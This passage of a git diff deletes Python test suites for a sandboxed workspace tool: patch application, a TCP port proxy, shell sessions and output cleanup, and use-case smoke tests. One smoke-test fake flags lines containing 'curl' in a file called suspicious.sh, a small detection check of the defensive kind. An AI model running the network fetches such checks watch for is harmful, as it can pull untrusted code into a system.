+3 @@ --before -+after -""" - ) - assert len(parsed[0].hunks) == 2 - - -def test_apply_unified_text_patch_rejects_context_mismatches() -> None: - patch = parse_unified_text_patch( - """--- a/file.txt -+++ b/file.txt -@@ -1 +1 @@ --before -+after -""" - )[0] - - with pytest.raises(RuntimeError, match="patch context does not match"): - apply_unified_text_patch( - path="/workspace/file.txt", - patch=patch, - before_text="different\n", - ) - with pytest.raises(RuntimeError, match="patch context does not match"): - apply_unified_text_patch( - path="/workspace/file.txt", - patch=WorkspaceTextPatch( - path="/workspace/file.txt", - status="modified", - hunks=[ - WorkspacePatchHunk( - old_start=1, - old_count=1, - new_start=1, - new_count=1, - lines=[" same\n"], - ) - ], - ), - before_text="", - ) - - -def test_apply_unified_text_patch_rejects_range_prefix_delete_and_size_errors() -> None: - with pytest.raises(RuntimeError, match="out of range"): - apply_unified_text_patch( - path="/workspace/file.txt", - patch=WorkspaceTextPatch( - path="/workspace/file.txt", - status="modified", - hunks=[ - WorkspacePatchHunk( - old_start=3, - old_count=1, - new_start=3, - new_count=1, - lines=["-old\n", "+new\n"], - ) - ], - ), - before_text="old\n", - ) - - with pytest.raises(RuntimeError, match="invalid patch line prefix"): - apply_unified_text_patch( - path="/workspace/file.txt", - patch=WorkspaceTextPatch( - path="/workspace/file.txt", - status="modified", - hunks=[ - WorkspacePatchHunk( - old_start=1, - old_count=0, - new_start=1, - new_count=0, - lines=["?bad\n"], - ) - ], - ), - before_text="", - ) - - with pytest.raises(RuntimeError, match="delete patch did not remove all content"): - apply_unified_text_patch( - path="/workspace/file.txt", - patch=WorkspaceTextPatch( - path="/workspace/file.txt", - status="deleted", - hunks=[ - WorkspacePatchHunk( - old_start=1, - old_count=1, - new_start=1, - new_count=0, - lines=["-first\n"], - ) - ], - ), - before_text="first\nsecond\n", - ) - - huge_payload = "x" * (WORKSPACE_FILE_MAX_BYTES + 1) - with pytest.raises(RuntimeError, match="exceeds the maximum supported size"): - apply_unified_text_patch( - path="/workspace/file.txt", - patch=WorkspaceTextPatch( - path="/workspace/file.txt", - status="added", - hunks=[ - WorkspacePatchHunk( - old_start=0, - old_count=0, - new_start=1, - new_count=1, - lines=[f"+{huge_payload}"], - ) - ], - ), - before_text=None, - ) diff --git a/tests/test_workspace_ports.py b/tests/test_workspace_ports.py deleted file mode 100644 index 54a3fbe..0000000 --- a/tests/test_workspace_ports.py +++ /dev/null @@ -1,311 +0,0 @@ -from __future__ import annotations - -import json -import selectors -import signal -import socket -import socketserver -import threading -from pathlib import Path -from types import SimpleNamespace -from typing import Any, cast - -import pytest - -from pyro_mcp import workspace_ports - - -def _socketpair_or_skip() -> tuple[socket.socket, socket.socket]: - try: - return socket.socketpair() - except PermissionError as exc: - pytest.skip(f"socketpair unavailable in this environment: {exc}") - - -class _EchoHandler(socketserver.BaseRequestHandler): - def handle(self) -> None: - data = self.request.recv(65536) - if data: - self.request.sendall(data) - - -def test_workspace_port_proxy_handler_rejects_invalid_server() -> None: - handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 - handler.server = cast(Any, object()) - handler.request = object() - - with pytest.raises(RuntimeError, match="proxy server is invalid"): - handler.handle() - - -def test_workspace_port_proxy_handler_ignores_upstream_connect_failure( - monkeypatch: Any, -) -> None: - handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 - server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 - server.target_address = ("127.0.0.1", 12345) - handler.server = server - handler.request = object() - - def _raise_connect(*args: Any, **kwargs: Any) -> socket.socket: - del args, kwargs - raise OSError("boom") - - monkeypatch.setattr(socket, "create_connection", _raise_connect) - - handler.handle() - - -def test_workspace_port_proxy_forwards_tcp_traffic() -> None: - try: - upstream = socketserver.ThreadingTCPServer( - (workspace_ports.DEFAULT_PUBLISHED_PORT_HOST, 0), - _EchoHandler, - ) - except PermissionError as exc: - pytest.skip(f"TCP bind unavailable in this environment: {exc}") - upstream_thread = threading.Thread(target=upstream.serve_forever, daemon=True) - upstream_thread.start() - upstream_host = str(upstream.server_address[0]) - upstream_port = int(upstream.server_address[1]) - try: - proxy = workspace_ports._ProxyServer( # noqa: SLF001 - (workspace_ports.DEFAULT_PUBLISHED_PORT_HOST, 0), - (upstream_host, upstream_port), - ) - except PermissionError as exc: - upstream.shutdown() - upstream.server_close() - pytest.skip(f"proxy TCP bind unavailable in this environment: {exc}") - proxy_thread = threading.Thread(target=proxy.serve_forever, daemon=True) - proxy_thread.start() - try: - proxy_host = str(proxy.server_address[0]) - proxy_port = int(proxy.server_address[1]) - with socket.create_connection((proxy_host, proxy_port), timeout=5) as client: - client.sendall(b"hello") - received = client.recv(65536) - assert received == b"hello" - finally: - proxy.shutdown() - proxy.server_close() - upstream.shutdown() - upstream.server_close() - - -def test_workspace_ports_main_writes_ready_file( - tmp_path: Path, - monkeypatch: Any, -) -> None: - ready_file = tmp_path / "proxy.ready.json" - signals: list[int] = [] - - class StubProxyServer: - def __init__( - self, - server_address: tuple[str, int], - target_address: tuple[str, int], - ) -> None: - self.server_address = (server_address[0], 18080) - self.target_address = target_address - - def serve_forever(self, poll_interval: float = 0.2) -> None: - assert poll_interval == 0.2 - - def shutdown(self) -> None: - return None - - def server_close(self) -> None: - return None - - monkeypatch.setattr(workspace_ports, "_ProxyServer", StubProxyServer) - monkeypatch.setattr( - signal, - "signal", - lambda signum, handler: signals.append(signum), - ) - - result = workspace_ports.main( - [ - "--listen-host", - "127.0.0.1", - "--listen-port", - "0", - "--target-host", - "172.29.1.2", - "--target-port", - "8080", - "--ready-file", - str(ready_file), - ] - ) - - assert result == 0 - payload = json.loads(ready_file.read_text(encoding="utf-8")) - assert payload == { - "host": "127.0.0.1", - "host_port": 18080, - "protocol": "tcp", - "target_host": "172.29.1.2", - "target_port": 8080, - } - assert signals == [signal.SIGTERM, signal.SIGINT] - - -def test_workspace_ports_main_shutdown_handler_stops_server( - tmp_path: Path, - monkeypatch: Any, -) -> None: - ready_file = tmp_path / "proxy.ready.json" - shutdown_called: list[bool] = [] - handlers: dict[int, Any] = {} - - class StubProxyServer: - def __init__( - self, - server_address: tuple[str, int], - target_address: tuple[str, int], - ) -> None: - self.server_address = server_address - self.target_address = target_address - - def serve_forever(self, poll_interval: float = 0.2) -> None: - handlers[signal.SIGTERM](signal.SIGTERM, None) - assert poll_interval == 0.2 - - def shutdown(self) -> None: - shutdown_called.append(True) - - def server_close(self) -> None: - return None - - class ImmediateThread: - def __init__(self, *, target: Any, daemon: bool) -> None: - self._target = target - assert daemon is True - - def start(self) -> None: - self._target() - - monkeypatch.setattr(workspace_ports, "_ProxyServer", StubProxyServer) - monkeypatch.setattr( - signal, - "signal", - lambda signum, handler: handlers.__setitem__(signum, handler), - ) - monkeypatch.setattr(threading, "Thread", ImmediateThread) - - result = workspace_ports.main( - [ - "--listen-host", - "127.0.0.1", - "--listen-port", - "18080", - "--target-host", - "172.29.1.2", - "--target-port", - "8080", - "--ready-file", - str(ready_file), - ] - ) - - assert result == 0 - assert shutdown_called == [True] - - -def test_workspace_port_proxy_handler_handles_empty_and_invalid_selector_events( - monkeypatch: Any, -) -> None: - source, source_peer = _socketpair_or_skip() - upstream, upstream_peer = _socketpair_or_skip() - source_peer.close() - - class FakeSelector: - def __init__(self) -> None: - self._events = iter( - [ - [], - [(SimpleNamespace(fileobj=object(), data=object()), None)], - [(SimpleNamespace(fileobj=source, data=upstream), None)], - ] - ) - - def register(self, *_args: Any, **_kwargs: Any) -> None: - return None - - def select(self) -> list[tuple[SimpleNamespace, None]]: - return next(self._events) - - def close(self) -> None: - return None - - handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 - server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 - server.target_address = ("127.0.0.1", 12345) - handler.server = server - handler.request = source - - monkeypatch.setattr(socket, "create_connection", lambda *args, **kwargs: upstream) - monkeypatch.setattr(selectors, "DefaultSelector", FakeSelector) - - try: - handler.handle() - finally: - source.close() - upstream.close() - upstream_peer.close() - - -def test_workspace_port_proxy_handler_handles_recv_and_send_errors( - monkeypatch: Any, -) -> None: - def _run_once(*, close_source: bool) -> None: - source, source_peer = _socketpair_or_skip() - upstream, upstream_peer = _socketpair_or_skip() - if not close_source: - try: - source_peer.sendall(b"hello") - except PermissionError as exc: - source.close() - source_peer.close() - upstream.close() - upstream_peer.close() - pytest.skip(f"socket send unavailable in this environment: {exc}") - - class FakeSelector: - def register(self, *_args: Any, **_kwargs: Any) -> None: - return None - - def select(self) -> list[tuple[SimpleNamespace, None]]: - if close_source: - source.close() - else: - upstream.close() - return [(SimpleNamespace(fileobj=source, data=upstream), None)] - - def close(self) -> None: - return None - - handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 - server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 - server.target_address = ("127.0.0.1", 12345) - handler.server = server - handler.request = source - - monkeypatch.setattr(socket, "create_connection", lambda *args, **kwargs: upstream) - monkeypatch.setattr(selectors, "DefaultSelector", FakeSelector) - - try: - handler.handle() - finally: - source_peer.close() - if close_source: - upstream.close() - upstream_peer.close() - else: - source.close() - upstream_peer.close() - - _run_once(close_source=True) - _run_once(close_source=False) diff --git a/tests/test_workspace_shell_output.py b/tests/test_workspace_shell_output.py deleted file mode 100644 index c11756d..0000000 --- a/tests/test_workspace_shell_output.py +++ /dev/null @@ -1,36 +0,0 @@ -from __future__ import annotations - -from pyro_mcp.workspace_shell_output import render_plain_shell_output - - -def test_render_plain_shell_output_strips_ansi_osc_and_controls() -> None: - raw = "\x1b]0;title\x07\x1b[31mred\x1b[0m\t\x01done" - assert render_plain_shell_output(raw) == "red\tdone" - - -def test_render_plain_shell_output_handles_carriage_return_and_backspace() -> None: - raw = "hello\r\x1b[2Kbye\nabc\b\bZ" - assert render_plain_shell_output(raw) == "bye\naZ" - - -def test_render_plain_shell_output_preserves_trailing_newlines() -> None: - assert render_plain_shell_output("line one\n") == "line one\n" - assert render_plain_shell_output("\n") == "\n" - - -def test_render_plain_shell_output_handles_line_clear_modes_and_overwrite() -> None: - assert render_plain_shell_output("abcde\rab\x1b[1KZ") == " Zde" - assert render_plain_shell_output("hello\x1b[2Kx") == "x" - - -def test_render_plain_shell_output_handles_full_screen_clear() -> None: - assert render_plain_shell_output("one\ntwo\x1b[2Jz") == "z" - assert render_plain_shell_output("one\ntwo\x1b[3Jz") == "z" - - -def test_render_plain_shell_output_ignores_incomplete_and_non_csi_escape_sequences() -> None: - assert render_plain_shell_output("\x1b") == "" - assert render_plain_shell_output("\x1b[") == "" - assert render_plain_shell_output("\x1b]title\x1b\\ok") == "ok" - assert render_plain_shell_output("a\x1bOPb") == "ab" - assert render_plain_shell_output("a\x1bXb") == "ab" diff --git a/tests/test_workspace_shells.py b/tests/test_workspace_shells.py deleted file mode 100644 index b0efcd9..0000000 --- a/tests/test_workspace_shells.py +++ /dev/null @@ -1,223 +0,0 @@ -from __future__ import annotations - -import os -import subprocess -import time -from pathlib import Path -from typing import cast - -import pytest - -from pyro_mcp.workspace_shells import ( - create_local_shell, - get_local_shell, - remove_local_shell, - shell_signal_arg_help, - shell_signal_names, -) - - -def _read_until( - workspace_id: str, - shell_id: str, - text: str, - *, - timeout_seconds: float = 5.0, -) -> dict[str, object]: - deadline = time.time() + timeout_seconds - payload = get_local_shell(workspace_id=workspace_id, shell_id=shell_id).read( - cursor=0, - max_chars=65536, - ) - while text not in str(payload["output"]) and time.time() < deadline: - time.sleep(0.05) - payload = get_local_shell(workspace_id=workspace_id, shell_id=shell_id).read( - cursor=0, - max_chars=65536, - ) - return payload - - -def test_workspace_shells_round_trip(tmp_path: Path) -> None: - session = create_local_shell( - workspace_id="workspace-1", - shell_id="shell-1", - cwd=tmp_path, - display_cwd="/workspace", - cols=120, - rows=30, - ) - try: - assert session.summary()["state"] == "running" - write = session.write("printf 'hello\\n'", append_newline=True) - assert write["input_length"] == 16 - payload = _read_until("workspace-1", "shell-1", "hello") - assert "hello" in str(payload["output"]) - assert cast(int, payload["next_cursor"]) >= cast(int, payload["cursor"]) - assert isinstance(payload["truncated"], bool) - session.write("sleep 60", append_newline=True) - signaled = session.send_signal("INT") - assert signaled["signal"] == "INT" - finally: - closed = session.close() - assert closed["closed"] is True - - -def test_workspace_shell_registry_helpers(tmp_path: Path) -> None: - session = create_local_shell( - workspace_id="workspace-2", - shell_id="shell-2", - cwd=tmp_path, - display_cwd="/workspace/subdir", - cols=80, - rows=24, - ) - assert get_local_shell(workspace_id="workspace-2", shell_id="shell-2") is session - assert shell_signal_names() == ("HUP", "INT", "TERM", "KILL") - assert "HUP" in shell_signal_arg_help() - with pytest.raises(RuntimeError, match="already exists"): - create_local_shell( - workspace_id="workspace-2", - shell_id="shell-2", - cwd=tmp_path, - display_cwd="/workspace/subdir", - cols=80, - rows=24, - ) - removed = remove_local_shell(workspace_id="workspace-2", shell_id="shell-2") - assert removed is session - assert remove_local_shell(workspace_id="workspace-2", shell_id="shell-2") is None - with pytest.raises(ValueError, match="does not exist"): - get_local_shell(workspace_id="workspace-2", shell_id="shell-2") - closed = session.close() - assert closed["closed"] is True - - -def test_workspace_shells_error_after_exit(tmp_path: Path) -> None: - session = create_local_shell( - workspace_id="workspace-3", - shell_id="shell-3", - cwd=tmp_path, - display_cwd="/workspace", - cols=120, - rows=30, - ) - session.write("exit", append_newline=True) - deadline = time.time() + 5 - while session.summary()["state"] != "stopped" and time.time() < deadline: - time.sleep(0.05) - assert session.summary()["state"] == "stopped" - with pytest.raises(RuntimeError, match="not running"): - session.write("pwd", append_newline=True) - with pytest.raises(RuntimeError, match="not running"): - session.send_signal("INT") - closed = session.close() - assert closed["closed"] is True - - -def test_workspace_shells_reject_invalid_signal(tmp_path: Path) -> None: - session = create_local_shell( - workspace_id="workspace-4", - shell_id="shell-4", - cwd=tmp_path, - display_cwd="/workspace", - cols=120, - rows=30, - ) - try: - with pytest.raises(ValueError, match="unsupported shell signal"): - session.send_signal("BOGUS") - finally: - session.close() - - -def test_workspace_shells_init_failure_closes_ptys( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - def _boom(*args: object, **kwargs: object) -> object: - raise RuntimeError("boom") - - monkeypatch.setattr(subprocess, "Popen", _boom) - with pytest.raises(RuntimeError, match="boom"): - create_local_shell( - workspace_id="workspace-5", - shell_id="shell-5", - cwd=tmp_path, - display_cwd="/workspace", - cols=120, - rows=30, - ) - - -def test_workspace_shells_write_and_signal_runtime_errors( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - real_killpg = os.killpg - session = create_local_shell( - workspace_id="workspace-6", - shell_id="shell-6", - cwd=tmp_path, - display_cwd="/workspace", - cols=120, - rows=30, - ) - try: - with session._lock: # noqa: SLF001 - session._master_fd = None # noqa: SLF001 - session._input_pipe = None # noqa: SLF001 - with pytest.raises(RuntimeError, match="transport is unavailable"): - session.write("pwd", append_newline=True) - - with session._lock: # noqa: SLF001 - master_fd, slave_fd = os.pipe() - os.close(slave_fd) - session._master_fd = master_fd # noqa: SLF001 - - def _raise_write(fd: int, data: bytes) -> int: - del fd, data - raise OSError("broken") - - monkeypatch.setattr("pyro_mcp.workspace_shells.os.write", _raise_write) - with pytest.raises(RuntimeError, match="failed to write"): - session.write("pwd", append_newline=True) - - def _raise_killpg(pid: int, signum: int) -> None: - del pid, signum - raise ProcessLookupError() - - monkeypatch.setattr("pyro_mcp.workspace_shells.os.killpg", _raise_killpg) - with pytest.raises(RuntimeError, match="not running"): - session.send_signal("INT") - monkeypatch.setattr("pyro_mcp.workspace_shells.os.killpg", real_killpg) - finally: - try: - session.close() - except Exception: - pass - - -def test_workspace_shells_refresh_process_state_updates_exit_code(tmp_path: Path) -> None: - session = create_local_shell( - workspace_id="workspace-7", - shell_id="shell-7", - cwd=tmp_path, - display_cwd="/workspace", - cols=120, - rows=30, - ) - try: - class StubProcess: - def poll(self) -> int: - return 7 - - session._process = StubProcess() # type: ignore[assignment] # noqa: SLF001 - session._refresh_process_state() # noqa: SLF001 - assert session.summary()["state"] == "stopped" - assert session.summary()["exit_code"] == 7 - finally: - try: - session.close() - except Exception: - pass diff --git a/tests/test_workspace_use_case_smokes.py b/tests/test_workspace_use_case_smokes.py deleted file mode 100644 index f369587..0000000 --- a/tests/test_workspace_use_case_smokes.py +++ /dev/null @@ -1,628 +0,0 @@ -from __future__ import annotations - -import shutil -import time as time_module -from dataclasses import dataclass, field -from pathlib import Path -from typing import Any, cast - -import pytest - -import pyro_mcp.workspace_use_case_smokes as smoke_module -from pyro_mcp.workspace_use_case_smokes import ( - USE_CASE_ALL_SCENARIO, - USE_CASE_CHOICES, - USE_CASE_SCENARIOS, - WORKSPACE_USE_CASE_RECIPES, - build_arg_parser, -) - - -def _repo_root() -> Path: - return Path(__file__).resolve().parents[1] - - -@dataclass -class _FakeShell: - cwd: str = "/workspace" - buffer: str = "" - cursor: int = 0 - closed: bool = False - - -@dataclass -class _FakeWorkspace: - workspace_id: str - root: Path - baseline_root: Path - environment: str - network_policy: str - name: str | None - labels: dict[str, str] - created_at: float - last_activity_at: float - reset_count: int = 0 - snapshots: dict[str, Path] = field(default_factory=dict) - services: dict[str, dict[str, Any]] = field(default_factory=dict) - shells: dict[str, _FakeShell] = field(default_factory=dict) - - -class _FakePyro: - def __init__(self, root: Path) -> None: - self._root = root - self._workspaces: dict[str, _FakeWorkspace] = {} - self._workspace_counter = 0 - self._shell_counter = 0 - self._clock = 0.0 - self.patch_apply_count = 0 - - def _tick(self) -> float: - self._clock += 1.0 - return self._clock - - def _workspace_dir(self, workspace_id: str) -> Path: - return self._root / workspace_id - - def _resolve_workspace(self, workspace_id: str) -> _FakeWorkspace: - return self._workspaces[workspace_id] - - def _workspace_path(self, workspace: _FakeWorkspace, path: str) -> Path: - if path.startswith("/workspace/"): - relative = path.removeprefix("/workspace/") - elif path == "/workspace": - relative = "" - else: - relative = path - return workspace.root / relative - - def _copy_tree_contents(self, source: Path, destination: Path) -> None: - destination.mkdir(parents=True, exist_ok=True) - for child in source.iterdir(): - target = destination / child.name - if child.is_dir(): - shutil.copytree(child, target) - else: - shutil.copy2(child, target) - - def _reset_tree(self, destination: Path, source: Path) -> None: - if destination.exists(): - shutil.rmtree(destination) - shutil.copytree(source, destination) - - def _diff_changed(self, workspace: _FakeWorkspace) -> bool: - current_paths = { - path.relative_to(workspace.root) - for path in workspace.root.rglob("*") - if path.is_file() - } - baseline_paths = { - path.relative_to(workspace.baseline_root) - for path in workspace.baseline_root.rglob("*") - if path.is_file() - } - if current_paths != baseline_paths: - return True - for relative in current_paths: - if ( - (workspace.root / relative).read_bytes() - != (workspace.baseline_root / relative).read_bytes() - ): - return True - return False - - def create_workspace( - self, - *, - environment: str, - seed_path: Path, - name: str | None = None, - labels: dict[str, str] | None = None, - network_policy: str = "off", - ) -> dict[str, Any]: - self._workspace_counter += 1 - workspace_id = f"ws-{self._workspace_counter}" - workspace_dir = self._workspace_dir(workspace_id) - workspace_root = workspace_dir / "workspace" - baseline_root = workspace_dir / "baseline" - self._copy_tree_contents(Path(seed_path), workspace_root) - self._copy_tree_contents(Path(seed_path), baseline_root) - stamp = self._tick() - workspace = _FakeWorkspace( - workspace_id=workspace_id, - root=workspace_root, - baseline_root=baseline_root, - environment=environment, - network_policy=network_policy, - name=name, - labels=dict(labels or {}), - created_at=stamp, - last_activity_at=stamp, - ) - workspace.snapshots["baseline"] = baseline_root - self._workspaces[workspace_id] = workspace - return {"workspace_id": workspace_id} - - def delete_workspace(self, workspace_id: str) -> dict[str, Any]: - workspace = self._workspaces.pop(workspace_id) - shutil.rmtree(self._workspace_dir(workspace.workspace_id), ignore_errors=True) - return {"workspace_id": workspace_id, "deleted": True} - - def status_workspace(self, workspace_id: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - return { - "workspace_id": workspace_id, - "network_policy": workspace.network_policy, - "name": workspace.name, - "labels": dict(workspace.labels), - "last_activity_at": workspace.last_activity_at, - } - - def update_workspace(self, workspace_id: str, *, labels: dict[str, str]) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - workspace.labels.update(labels) - workspace.last_activity_at = self._tick() - return {"workspace_id": workspace_id, "labels": dict(workspace.labels)} - - def list_workspaces(self) -> dict[str, Any]: - workspaces = sorted( - self._workspaces.values(), - key=lambda item: (-item.last_activity_at, -item.created_at, item.workspace_id), - ) - return { - "count": len(workspaces), - "workspaces": [ - { - "workspace_id": workspace.workspace_id, - "name": workspace.name, - "labels": dict(workspace.labels), - "environment": workspace.environment, - "state": "started", - "created_at": workspace.created_at, - "last_activity_at": workspace.last_activity_at, - "expires_at": workspace.created_at + 3600, - "command_count": 0, - "service_count": len(workspace.services), - "running_service_count": sum( - 1 - for service in workspace.services.values() - if service["state"] == "running" - ), - } - for workspace in workspaces - ], - } - - def exec_workspace(self, workspace_id: str, *, command: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - root = workspace.root - stdout = "" - stderr = "" - exit_code = 0 - if command == "sh validate.sh": - (root / "validation-report.txt").write_text("validation=pass\n", encoding="utf-8") - stdout = "validated\n" - elif command == "sh check.sh": - value = (root / "message.txt").read_text(encoding="utf-8").strip() - if value == "fixed": - stdout = "fixed\n" - else: - stderr = f"expected fixed got {value}\n" - exit_code = 1 - elif command == "sh -lc 'test -f .app-ready && cat service-state.txt'": - stdout = (root / "service-state.txt").read_text(encoding="utf-8") - elif "inspection-report.txt" in command: - suspicious = (root / "suspicious.sh").read_text(encoding="utf-8").splitlines() - report_lines = [ - f"{index}:curl" - for index, line in enumerate(suspicious, start=1) - if "curl" in line - ] - report_lines.append("network_policy=off") - (root / "inspection-report.txt").write_text( - "\n".join(report_lines) + "\n", - encoding="utf-8", - ) - elif command == "sh review.sh": - artifact = (root / "artifact.txt").read_text(encoding="utf-8").strip() - if artifact == "PASS": - (root / "review-report.txt").write_text("review=pass\n", encoding="utf-8") - stdout = "review passed\n" - else: - (root / "review-report.txt").write_text("review=fail\n", encoding="utf-8") - stderr = "review failed\n" - exit_code = 1 - else: - raise AssertionError(f"unexpected exec command: {command}") - workspace.last_activity_at = self._tick() - return { - "workspace_id": workspace_id, - "exit_code": exit_code, - "stdout": stdout, - "stderr": stderr, - "execution_mode": "guest_vsock", - } - - def start_service( - self, - workspace_id: str, - service_name: str, - *, - command: str, - readiness: dict[str, Any] | None = None, - ) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - if command == "sh serve.sh": - (workspace.root / "service-state.txt").write_text("service=ready\n", encoding="utf-8") - (workspace.root / ".app-ready").write_text("", encoding="utf-8") - stdout = "service started\n" - else: - stdout = "" - workspace.services[service_name] = { - "state": "running", - "stdout": stdout, - "readiness": readiness, - } - workspace.last_activity_at = self._tick() - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "running", - "command": command, - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "readiness": readiness, - } - - def logs_service( - self, - workspace_id: str, - service_name: str, - *, - tail_lines: int = 200, - ) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - service = workspace.services[service_name] - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": service["state"], - "stdout": service["stdout"], - "stderr": "", - "tail_lines": tail_lines, - "truncated": False, - } - - def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - workspace.services[service_name]["state"] = "stopped" - workspace.last_activity_at = self._tick() - return {"workspace_id": workspace_id, "service_name": service_name, "state": "stopped"} - - def list_workspace_files( - self, workspace_id: str, *, path: str = "/workspace", recursive: bool = False - ) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - target = self._workspace_path(workspace, path) - entries: list[dict[str, Any]] = [] - iterable = target.rglob("*") if recursive else target.iterdir() - for entry in iterable: - artifact_type = "directory" if entry.is_dir() else "file" - entries.append( - { - "path": f"/workspace/{entry.relative_to(workspace.root)}", - "artifact_type": artifact_type, - "size_bytes": entry.stat().st_size if entry.is_file() else 0, - "link_target": None, - } - ) - return {"workspace_id": workspace_id, "entries": entries} - - def read_workspace_file(self, workspace_id: str, path: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - target = self._workspace_path(workspace, path) - content = target.read_text(encoding="utf-8") - return {"workspace_id": workspace_id, "path": path, "content": content} - - def write_workspace_file(self, workspace_id: str, path: str, *, text: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - target = self._workspace_path(workspace, path) - target.parent.mkdir(parents=True, exist_ok=True) - target.write_text(text, encoding="utf-8") - workspace.last_activity_at = self._tick() - return {"workspace_id": workspace_id, "path": path, "bytes_written": len(text.encode())} - - def apply_workspace_patch(self, workspace_id: str, *, patch: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - target = workspace.root / "message.txt" - original = target.read_text(encoding="utf-8") - updated = original.replace("broken\n", "fixed\n") - target.write_text(updated, encoding="utf-8") - self.patch_apply_count += 1 - workspace.last_activity_at = self._tick() - return {"workspace_id": workspace_id, "changed": updated != original, "patch": patch} - - def diff_workspace(self, workspace_id: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - return {"workspace_id": workspace_id, "changed": self._diff_changed(workspace)} - - def export_workspace( - self, - workspace_id: str, - path: str, - *, - output_path: Path, - ) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - source = self._workspace_path(workspace, path) - output_path = Path(output_path) - output_path.parent.mkdir(parents=True, exist_ok=True) - if source.is_dir(): - shutil.copytree(source, output_path) - artifact_type = "directory" - else: - shutil.copy2(source, output_path) - artifact_type = "file" - return { - "workspace_id": workspace_id, - "workspace_path": path, - "output_path": str(output_path), - "artifact_type": artifact_type, - } - - def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - snapshot_root = self._workspace_dir(workspace_id) / f"snapshot-{snapshot_name}" - self._reset_tree(snapshot_root, workspace.root) - workspace.snapshots[snapshot_name] = snapshot_root - return { - "workspace_id": workspace_id, - "snapshot": {"snapshot_name": snapshot_name, "kind": "named"}, - } - - def reset_workspace(self, workspace_id: str, *, snapshot: str = "baseline") -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - source = workspace.snapshots[snapshot] - self._reset_tree(workspace.root, source) - workspace.reset_count += 1 - workspace.last_activity_at = self._tick() - return { - "workspace_id": workspace_id, - "reset_count": workspace.reset_count, - "workspace_reset": {"snapshot_name": snapshot}, - } - - def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - changed = self._diff_changed(workspace) - return { - "workspace_id": workspace_id, - "name": workspace.name, - "labels": dict(workspace.labels), - "environment": workspace.environment, - "state": "started", - "last_activity_at": workspace.last_activity_at, - "session_started_at": workspace.created_at, - "outcome": { - "command_count": 0, - "last_command": None, - "service_count": len(workspace.services), - "running_service_count": sum( - 1 - for service in workspace.services.values() - if service["state"] == "running" - ), - "export_count": 1, - "snapshot_count": max(len(workspace.snapshots) - 1, 0), - "reset_count": workspace.reset_count, - }, - "commands": {"total": 0, "recent": []}, - "edits": {"recent": []}, - "changes": { - "available": True, - "reason": None, - "changed": changed, - "summary": {"total": 1 if changed else 0}, - "entries": ( - [ - { - "path": "/workspace/artifact.txt", - "status": "modified", - "artifact_type": "file", - } - ] - if changed - else [] - ), - }, - "services": { - "current": [ - {"service_name": name, "state": service["state"]} - for name, service in sorted(workspace.services.items()) - ], - "recent": [], - }, - "artifacts": { - "exports": [ - { - "workspace_path": "review-report.txt", - "output_path": str( - self._workspace_dir(workspace_id) / "exported-review.txt" - ), - } - ] - }, - "snapshots": {"named_count": max(len(workspace.snapshots) - 1, 0), "recent": []}, - } - - def open_shell(self, workspace_id: str, **_: Any) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - self._shell_counter += 1 - shell_id = f"shell-{self._shell_counter}" - workspace.shells[shell_id] = _FakeShell() - return {"workspace_id": workspace_id, "shell_id": shell_id, "state": "running"} - - def read_shell( - self, - workspace_id: str, - shell_id: str, - *, - cursor: int = 0, - plain: bool = False, - wait_for_idle_ms: int | None = None, - ) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - shell = workspace.shells[shell_id] - output = shell.buffer[cursor:] - next_cursor = len(shell.buffer) - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "running", - "cursor": cursor, - "next_cursor": next_cursor, - "output": output, - "plain": plain, - "wait_for_idle_ms": wait_for_idle_ms, - "truncated": False, - } - - def write_shell(self, workspace_id: str, shell_id: str, *, input: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - shell = workspace.shells[shell_id] - if input == "cat CHECKLIST.md": - shell.buffer += (workspace.root / "CHECKLIST.md").read_text(encoding="utf-8") - workspace.last_activity_at = self._tick() - return {"workspace_id": workspace_id, "shell_id": shell_id} - - def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: - workspace = self._resolve_workspace(workspace_id) - workspace.shells.pop(shell_id, None) - return {"workspace_id": workspace_id, "shell_id": shell_id, "closed": True} - - def create_server( - self, - *, - profile: str = "workspace-core", - mode: str | None = None, - project_path: Path, - ) -> Any: - assert profile == "workspace-core" - assert mode in {"repro-fix", "cold-start"} - seed_path = Path(project_path) - outer = self - - class _FakeServer: - async def call_tool( - self, - tool_name: str, - arguments: dict[str, Any], - ) -> tuple[None, dict[str, Any]]: - if tool_name != "workspace_create": - raise AssertionError(f"unexpected tool call: {tool_name}") - result = outer.create_workspace( - environment=cast(str, 